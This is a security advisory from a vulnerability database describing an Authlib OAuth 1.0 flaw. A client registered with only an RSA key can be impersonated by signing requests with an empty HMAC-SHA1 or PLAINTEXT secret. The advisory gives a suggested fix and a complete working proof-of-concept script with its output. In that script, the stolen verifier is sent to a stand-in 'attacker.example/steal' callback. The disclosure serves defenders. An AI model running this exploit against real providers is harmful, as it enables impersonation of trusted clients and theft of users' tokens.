
Cloud Vulnerability DB
A community-led vulnerabilities database
< 1.9.8, and 1.10.0b1. Fixed in 1.9.8.
Authlib's OAuth 1.0 provider (authlib.oauth1, used by authlib.integrations.flask_oauth1 and authlib.integrations.django_oauth1) verifies HMAC-SHA1 and PLAINTEXT signatures with client_secret or "" as the key. The signature method is chosen by the request, and nothing ties it to how the client was registered. On a server that supports RSA-SHA1 together with HMAC-SHA1 (or PLAINTEXT), a client registered with only an RSA public key has no shared secret, so get_client_secret() returns None or "". Anyone who knows that client's public client_id can sign requests with HMAC-SHA1 using the key "&" (or send the PLAINTEXT signature "&") and run the whole three-legged flow as that client. If a user approves the trusted client on the consent page, the attacker receives that user's token credentials and can call protected resources as that client. This is the OAuth 1.0 counterpart of the empty HMAC key issue fixed in authlib.jose (GHSA-8m4g-j4wp-wgcg).
Code references are to tag v1.9.6. The main branch has the same code.
authlib/oauth1/rfc5849/signature.py:266 (hmac_sha1_signature) builds the HMAC key as escape(client_secret or "") + "&" + escape(token_secret or ""). A client secret of None or "" gives the key "&" (or "&" + token_secret), which anyone can compute.authlib/oauth1/rfc5849/signature.py:321 (plaintext_signature) does the same for PLAINTEXT. With an empty secret, the expected signature is the literal string "&" (or "&" + token_secret).authlib/oauth1/rfc5849/signature.py:352-356 (verify_hmac_sha1) and :368-371 (verify_plaintext) pass request.client_secret, which is client.get_client_secret() (authlib/oauth1/rfc5849/wrapper.py:49-51), straight into those functions. They do not reject a missing or empty secret.authlib/oauth1/rfc5849/base_server.py:77-97 (validate_oauth_signature) takes oauth_signature_method from the request and accepts any method in SUPPORTED_SIGNATURE_METHODS. Nothing checks whether that method fits the client's credentials. ClientMixin has no hook for this either. A client that registered only an RSA public key (RFC 5849 section 3.4.3) can therefore be authenticated with HMAC-SHA1 or PLAINTEXT, using a secret it never had.
The documentation shows enabling all three built-in methods with OAUTH1_SUPPORTED_SIGNATURE_METHODS = ['HMAC-SHA1', 'PLAINTEXT', 'RSA-SHA1']. A provider that serves both shared-secret clients and RSA clients needs that configuration. For an RSA client, get_client_secret() naturally returns None, or "" when the column is NOT NULL as in the documented model (client_secret = db.Column(db.String(120), nullable=False)). Both values are accepted as the empty key.
The temporary-credential, token and resource endpoints all use the same check. An attacker can therefore obtain temporary credentials with an attacker-chosen oauth_callback, receive the verifier when the user approves the client, exchange it for token credentials (key "&" + temporary_token_secret), and call the API (key "&" + token_secret).
Suggested fix: verify_hmac_sha1 and verify_plaintext should fail when request.client_secret is None or empty. This matches the empty-key rejection added to the JOSE HMAC code. A second, defence-in-depth change would let the server bind signature methods to a client, for example through an optional ClientMixin method that lists the methods a client may use. By default, HMAC-SHA1 and PLAINTEXT would be refused for a client without a shared secret, and RSA-SHA1 for a client without a public key.python3 -m venv venv && . venv/bin/activate
pip install authlib==1.9.6 joserfc==1.8.0 flask cryptographypoc.py:
# OAuth 1.0 provider: a client registered with only an RSA public key (no shared
# secret) is impersonated with HMAC-SHA1 using the empty key "&".
from urllib.parse import urlparse, parse_qsl
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from flask import Flask, jsonify
from authlib.integrations.flask_oauth1 import (
AuthorizationServer, ResourceProtector, current_credential,
register_temporary_credential_hooks, register_nonce_hooks, create_exists_nonce_func)
from authlib.oauth1 import ClientMixin, ClientAuth, SIGNATURE_RSA_SHA1, SIGNATURE_HMAC_SHA1
class Cache(dict):
def get(self, k): return dict.get(self, k)
def set(self, k, v, timeout=None): self[k] = v
def delete(self, k): self.pop(k, None)
def has(self, k): return k in self
partner_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
PARTNER_PRIV = partner_key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8,
serialization.NoEncryption()).decode()
PARTNER_PUB = partner_key.public_key().public_bytes(serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo).decode()
class Client(ClientMixin):
# A partner that registered an RSA public key for RSA-SHA1 and was given no shared secret.
client_id = "rsa-partner"
def get_default_redirect_uri(self): return "https://partner.example/cb"
def get_client_secret(self): return "" # same result with None
def get_rsa_public_key(self): return PARTNER_PUB
class TokenCredential(dict):
def get_oauth_token(self): return self["oauth_token"]
def get_oauth_token_secret(self): return self["oauth_token_secret"]
def get_client_id(self): return self["client_id"]
def get_user_id(self): return self["user_id"]
CLIENTS, TOKENS, cache = {"rsa-partner": Client()}, {}, Cache()
app = Flask(__name__)
app.config["OAUTH1_SUPPORTED_SIGNATURE_METHODS"] = [SIGNATURE_HMAC_SHA1, SIGNATURE_RSA_SHA1]
server = AuthorizationServer(app, query_client=CLIENTS.get)
register_temporary_credential_hooks(server, cache)
register_nonce_hooks(server, cache)
def create_token_credential(token, temp):
cred = TokenCredential(token, client_id=temp.get_client_id(), user_id=temp.get_user_id())
TOKENS[cred["oauth_token"]] = cred
return cred
server.register_hook("create_token_credential", create_token_credential)
def query_token(client_id, oauth_token):
t = TOKENS.get(oauth_token)
return t if t and t["client_id"] == client_id else None
require_oauth = ResourceProtector(app, query_client=CLIENTS.get, query_token=query_token,
exists_nonce=create_exists_nonce_func(cache))
class User:
def get_user_id(self): return "alice"
@app.route("/initiate", methods=["POST"])
def initiate(): return server.create_temporary_credentials_response()
@app.route("/authorize")
def authorize(): return server.create_authorization_response(grant_user=User()) # alice clicks "Allow"
@app.route("/token", methods=["POST"])
def token(): return server.create_token_response()
@app.route("/api/me")
@require_oauth
def me(): return jsonify(user=current_credential["user_id"], client=current_credential["client_id"])
http = app.test_client()
def call(method, path, auth):
_, headers, _ = auth.prepare(method, "https://op.example" + path, {}, "")
return http.open(path, method=method, base_url="https://op.example", headers=headers)
# Controls: the real partner (RSA private key) works; HMAC with a guessed secret fails.
r = call("POST", "/initiate", ClientAuth("rsa-partner", signature_method=SIGNATURE_RSA_SHA1,
rsa_key=PARTNER_PRIV, redirect_uri="https://partner.example/cb"))
print("control RSA-SHA1 with partner's private key :", r.status_code)
r = call("POST", "/initiate", ClientAuth("rsa-partner", client_secret="guess",
signature_method=SIGNATURE_HMAC_SHA1, redirect_uri="https://x"))
print("control HMAC-SHA1 with secret 'guess' :", r.status_code, r.get_data(as_text=True))
# Attack: only the public client_id is known. HMAC-SHA1 key = "" + "&" + token_secret.
atk = dict(client_secret="", signature_method=SIGNATURE_HMAC_SHA1)
r = call("POST", "/initiate", ClientAuth("rsa-partner", redirect_uri="https://attacker.example/steal", **atk))
print("attack 1 /initiate as rsa-partner, empty key :", r.status_code)
temp = dict(parse_qsl(r.get_data(as_text=True)))
r = http.get("/authorize?oauth_token=" + temp["oauth_token"], base_url="https://op.example")
print("attack 2 alice approves 'rsa-partner' -> ", r.headers["Location"].split("?")[0])
verifier = dict(parse_qsl(urlparse(r.headers["Location"]).query))["oauth_verifier"]
r = call("POST", "/token", ClientAuth("rsa-partner", token=temp["oauth_token"],
token_secret=temp["oauth_token_secret"], verifier=verifier, **atk))
print("attack 3 /token :", r.status_code)
tok = dict(parse_qsl(r.get_data(as_text=True)))
r = call("GET", "/api/me", ClientAuth("rsa-partner", token=tok["oauth_token"],
token_secret=tok["oauth_token_secret"], **atk))
print("attack 4 protected resource :", r.status_code, r.get_data(as_text=True).strip())Run:
python poc.pyOutput (authlib 1.9.6; main gives the same output):
control RSA-SHA1 with partner's private key : 200
control HMAC-SHA1 with secret 'guess' : 401 error=invalid_signature
attack 1 /initiate as rsa-partner, empty key : 200
attack 2 alice approves 'rsa-partner' -> https://attacker.example/steal
attack 3 /token : 200
attack 4 protected resource : 200 {"client":"rsa-partner","user":"alice"}The two control lines show that the client really is RSA-only: the partner's RSA signature is accepted and an HMAC signature with a guessed secret is rejected. Next, an attacker who knows only the public client_id signs with HMAC-SHA1 and an empty client secret. The attacker obtains temporary credentials with their own callback URL, receives the verifier when the user approves "rsa-partner", exchanges it for token credentials, and reads the user's protected resource as "rsa-partner". Changing get_client_secret() to return None gives the same result. With OAUTH1_SUPPORTED_SIGNATURE_METHODS = ["PLAINTEXT", "RSA-SHA1"], the same flow succeeds with the PLAINTEXT signature "&" / "&" + token_secret.
The attacker can impersonate an OAuth 1.0 client and obtain token credentials for any user who approves it. With those credentials the attacker can read and modify that user's protected resources with the access the provider grants to that client. Conditions:
authlib.oauth1 directly).OAUTH1_SUPPORTED_SIGNATURE_METHODS).get_client_secret() returns None or ""). More generally, any client whose stored secret is empty is affected, including on the default HMAC-SHA1-only configuration.client_id (oauth_consumer_key), which appears in every request and is often public. To reach a user's data, the user has to approve the request on the provider's own authorization page, where it is shown as coming from the legitimate, trusted client. The attacker can deliver this as a link.
Providers that use only RSA-SHA1, or whose clients all have non-empty shared secrets, are not affected.Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."